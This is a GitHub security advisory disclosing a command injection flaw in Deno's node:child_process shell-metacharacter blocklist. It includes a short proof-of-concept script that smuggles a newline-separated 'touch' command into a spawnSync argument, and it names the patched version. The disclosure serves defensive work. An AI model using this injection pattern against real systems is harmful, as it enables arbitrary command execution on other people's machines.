GHSA-hmh4-3xvx-q5hr
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
A command injection vulnerability exists in Deno's `node:child_process` implementation.
## Reproduction
```javascript
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
```
Run: `deno run --allow-all poc.mjs`
The file `/tmp/rce_proof` is created, confirming arbitrary command execution.
## Mitigation
All users need to update to the patched version (Deno v2.6.8).
References
External links from the advisory. They lead to third-party sites.